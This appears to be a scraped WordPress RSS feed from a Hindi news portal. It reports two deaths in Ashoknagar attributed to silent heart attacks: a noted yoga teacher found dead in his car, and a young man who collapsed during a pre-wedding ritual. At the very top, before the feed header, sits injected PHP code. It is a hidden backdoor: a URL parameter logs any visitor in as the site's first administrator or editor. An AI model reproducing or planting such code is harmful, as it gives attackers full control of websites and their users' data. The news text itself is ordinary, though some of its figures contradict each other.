// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); silent attack – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 24 Mar 2025 14:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 अशोकनगर के 54 साल के मशहूर योगाचार्य डॉ. पवन सिंघल को साइलेंट हार्ट अटैक, पार्क के बाहर कार में मृत मिले https://pratyushaashakinayikiran.com/?p=143101 Mon, 24 Mar 2025 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=143101 अशोकनगर

 वेटरनरी डॉक्टर और योग गुरु पवन सिंघल का हार्ट अटैक से निधन हो गया. हार्ट अटैक से पहले डॉ. पवन योगा क्लास लेने के लिए जा रहे थे और इससे पहले उन्होंने 2 घंटे की दौड़ लगाई थी. इससे पहले कि वे योगा क्लास लेने पहुंच पाते, रास्ते में पार्क के पास ही उनका निधन हो गया.

कार में आया साइलेंट अटैक

54 वर्षीय डॉ. पवन सिंघल रोजाना की तरह रविवार सुबह योग क्लास के लिए जा रहे थे. क्लास के पहले 2 किलोमीटर दौड़ लगाने के बाद वे कार से तुलसी सरोवर पार्क के लिए निकले. रास्ते में पार्क के पास उन्हें साइलेंट हार्ट अटैक आ गया. जब लोग उनकी कार के पास पहुंचे तो देखा कि कार बंद थी और लाइट जल रही थी. काफी देर तक उनके बाहर नहीं निकलने पर योग स्टूडेंट्स ने कार का दरवाजा खोला. उन्हें तुरंत जिला अस्पताल ले जाया गया, जहां डॉक्टरों ने मृत घोषित कर दिया.

दौड़ और सूर्य नमस्कार का रेकॉर्ड
योगाचार्य डॉ. सिंघल के नाम 11 घंटे में 100 किमी दौड़, 8 घंटे में 3600 सूर्य नमस्कार और 17 बार रक्तदान का रेकॉर्ड है। वे रोज घंटों योग करते थे। उनकी ऑनलाइन कक्षा में मप्र, राजस्थान, उत्तरप्रदेश और दिल्ली से सैकड़ों लोग जुड़ते थे।

बेहद संतुलित खान-पान
योगाचार्य डॉ. सिंघल का खान-पान बेहद संतुलित था। एक माह से नमक व शक्कर खाना पूरी तरह बंद कर दिया था। योगार्थियों ने बताया, नवरात्र में वे 10 दिन सिर्फ नींबू पानी पीते थे, एक बार तो फल व ड्राई फ्रूट का सेवन भी बंद कर दिया। वे सिर्फ पांच घंटे ही नींद लेते थे। सर्दियों में भी उन्होंने गर्म कपड़े नहीं पहने।

डॉ. पवन सिंघल के नाम कई रिकॉर्ड दर्ज

वेटरनरी डॉ. पवन सिंघल के नाम दौड़ और योगा में भी कई रिकॉर्ड दर्ज हैं. दरअसल, वे अपने प्रोफेशन के अलावा योग और दौड़ के लिए भी मशहूर थे. उन्होंने 11 घंटे में 100 किलोमीटर की दौड़ पूरी की थी. वहीं, 5100 बार सूर्य नमस्कार करने का भी रिकॉर्ड बनाया था. पतंजलि कायाकल्प योग क्लास के जरिए जिले के अलावा अन्य राज्यों के लोग भी ऑनलाइन उनसे जुड़ते थे. हाल ही में उन्होंने 116 यूनिट ब्लड डोनेट करने का रिकॉर्ड बनाया था. 24 मार्च 2015 से वे लगातार योग कर रहे थे.

एक महीने पहले छोड़ा था नमक और शक्कर

डॉक्टर और योगाचार्य डॉ. पवन सिंघल के स्टूडेंट्स ने बताया कि एक महीने पहले से उन्होंने नमक और शक्कर का सेवन बंद कर दिया था. यह बात उन्होंने योग क्लास में अपने सहयोगियों को भी बताई थी. सहयोगियों के मुताबिक, '' नवरात्रि में वे 10 दिन सिर्फ नींबू पानी पीते थे और रोजाना सिर्फ 5 घंटे सोते थे. पूरी सर्दियों में उन्होंने गर्म कपड़े नहीं पहने.''

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उरझुरु गांव में शादी की खुशियां मातम में बदल गईं, 30 वर्षीय कुलदीप की अचानक मौत https://pratyushaashakinayikiran.com/?p=131154 Thu, 13 Feb 2025 08:16:00 +0000 https://pratyushaashakinayikiran.com/?p=131154 अशोकनगर
 अशोकनगर जिले के उरझुरु गांव में एक युवक की छोटे भाई की शादी की खुशियां मातम में बदल गईं। 30 वर्षीय कुलदीप शर्मा की सोमवार शाम माता पूजन के दौरान अचानक मौत हो गई। माना जा रहा है कि मौत का कारण साइलेंट अटैक है। कुलदीप एक प्राइवेट बैंक में काम करते थे। वह माता पूजन के दौरान एक रिश्तेदार महिला का गिरा हुआ जेवर ढूंढ रहे थे, तभी अचानक गिर पड़े और दोबारा उठ नहीं पाए। साइलेंट अटैक ने चिंता बढ़ा दी है।

कुलदीप के छोटे भाई की शादी 12 फरवरी को होनी थी। सोमवार शाम घर में माता पूजन का कार्यक्रम चल रहा था। कुलदीप के रिश्तेदार शिवकुमार शर्मा ने बताया कि वह मोबाइल से कुलदीप की तस्वीरें ले रहे थे। तभी एक महिला का कान का जेवर गिर गया। अंधेरा होने के कारण कुलदीप ने अपने मोबाइल की टॉर्च जलाई और जेवर ढूंढने के लिए झुका। अचानक वे वहां गिर पड़ा और उठ नहीं पाया। परिजन उन्हें तुरंत अस्पताल ले गए, जहां डॉक्टरों ने उन्हें मृत घोषित कर दिया। डॉक्टरों के अनुसार मौत का कारण साइलेंट अटैक लग रहा है।
परिवार में मातम का माहौल

कुलदीप शादी की तैयारियों में व्यस्त थे। सोमवार को भी वे शादी के बाकी बचे कार्ड बांटने गए थे। शाम को माता पूजन के लिए वे कुछ देर पहले ही घर लौटे थे। किसी ने सोचा भी नहीं था कि खुशियों भरा माहौल कुछ ही पलों में मातम में बदल जाएगा। कुलदीप की अचानक मौत से परिवार और पूरे गांव में शोक की लहर दौड़ गई। शादी की तैयारियों की जगह अब घर में मातम छाया हुआ है। यह घटना मध्यप्रदेश में बढ़ते साइलेंट अटैक के मामलों की गंभीरता को दर्शाती है। हाल ही में विदिशा में भी ऐसा ही एक मामला सामने आया था।
साइलेंट अटैक क्या है ?

साइलेंट अटैक को मेडिकल भाषा में साइलेंट मायोकार्डियल इन्फार्क्शन कहा जाता है, दिल का दौरा पड़ने का एक ऐसा प्रकार है जिसमें सामान्य लक्षण जैसे सीने में दर्द या सांस लेने में तकलीफ नहीं होते हैं। इसलिए इसे पहचानना मुश्किल होता है और यह जानलेवा साबित हो सकता है। युवाओं में बढ़ते साइलेंट अटैक के मामलों को देखते हुए, स्वास्थ्य के प्रति जागरूकता और नियमित जांच बेहद जरूरी है।

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